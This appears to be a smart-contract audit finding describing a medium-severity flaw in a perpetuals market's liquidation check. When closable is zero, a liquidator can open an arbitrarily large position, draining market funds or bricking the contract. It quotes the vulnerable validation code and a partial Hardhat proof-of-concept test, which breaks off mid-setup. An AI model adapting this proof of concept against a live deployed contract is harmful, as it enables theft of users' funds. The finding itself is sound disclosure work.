MEDIUM severity: The vulnerability allows a malicious liquidator to liquidate a user's position while increasing the . The vulnerability allows a malicious liquidator to liquidate a user's position while increasing the position size to any value, effectively stealing all market funds or bricking the contract. This occurs when the `closable` value is set to 0, which allows the liquidator to open a position of any siz...

Vulnerable code:
```\nif (protected && (\n   !context.closable.isZero() || \n    context.latestPosition.local.maintained(\n        context.latestVersion,\n        context.riskParameter,\n        context.pendingCollateral.sub(collateral)\n    ) || \n    collateral.lt(Fixed6Lib.from(-1, _liquidationFee(context, newOrder)))\n)) {\n    revert MarketInvalidProtectionError();\n}\n\nif (\n   !(context.currentPosition.local.magnitude().isZero() && context.latestPosition.local.magnitude().isZero()) && \n   !(newOrder.isEmpty() && collateral.gte(Fixed6Lib.ZERO)) && \n    (context.currentTimestamp - context.latestVersion.timestamp >= context.riskParameter.staleAfter) \n) {\n    revert MarketStalePriceError();\n}\n\nif (context.marketParameter.closed && newOrder.increasesPosition()) {\n    revert MarketClosedError();\n}\n\nif (context.currentPosition.global.maker.gt(context.riskParameter.makerLimit)) {\n    revert MarketMakerOverLimitError();\n}\n\nif (!newOrder.singleSided(context.currentPosition.local) ||!newOrder.singleSided(context.latestPosition.local)) {\n    revert MarketNotSingleSidedError();\n}\n\nif (protected) {\n    return; // The following invariants do not apply to protected position updates (liquidations)\n```\n```\nit('liquidate with huge open position', async () => {\n  const positionMaker = parse6decimal('20.000');\n  const positionLong = parse6decimal('10.000');\n  const collateral = parse6decimal('1000');\n  const collateral2 = parse6decimal('350');\n  const maxPosition = parse6decimal('4611686018427'); // 2^62-1\n\n  const oracleVersion = {\n    price: parse6decimal('100'),\n    timestamp: TIMESTAMP,\n    valid: true,\n  };\n  oracle.at.whenCalledWith(oracleVersion.timestamp).returns(oracleVersion);\n  oracle.status.returns([oracleVersion, TIMESTAMP + 100]);\n  oracle.request.returns();\n\n  // maker\n  dsu.transferFrom.whenCalledWith(userB.address, market.address, collateral.mul(1e12)).returns(true);\n  await market.connect(userB).update(userB.address, positionMaker, 0, 0, collateral, false);\n\n  // user opens long=10\n  dsu.transferFrom.whenCalledWith(user.address, market.address, collateral2.mul(1e12)).returns(true);\n  await market.connect(user).update(user.address, 0, positionLong, 0, collateral2, false);\n\n  const oracleVersion2 = {\n    price: parse6decimal('100'),\n    timestamp: TIMESTAMP + 100,\n    valid: true,\n  };\n  oracle.at.whenCalledWith(oracleVersion2.timestamp).returns(oracleVersion2);\n  oracle.status.returns([oracleVersion2, TIMESTAMP + 200]);\n  oracle.request.returns();\n\n  // price moves against user, so he's at the edge of liquidation and tries to close\n  // position: latest=10, pending [t=200] = 0 (closable = 0)\n  await market.connect(user).update(user.address, 0, 0, 0, 0, false);\n\n  const oracleVersion3 = {\n    price: parse6decimal('92'),\n    timestamp: TIMESTAMP + 190,\n    valid: true,\n  };\n  oracle.at.whenCalledWith(oracleVersion3.timestamp).returns(oracleVersion3);\n  oracle.status.returns([oracleVersion3, TIMESTAMP + 300]);\n  oracle.request.returns();\n\n  var loc = await market.locals(user.address);\n  var posLatest = await market.positions(user.address);\n  var posCurrent = await market.pendingPositions(user.address, loc.currentId);\n  console.log("Before liquidation\n```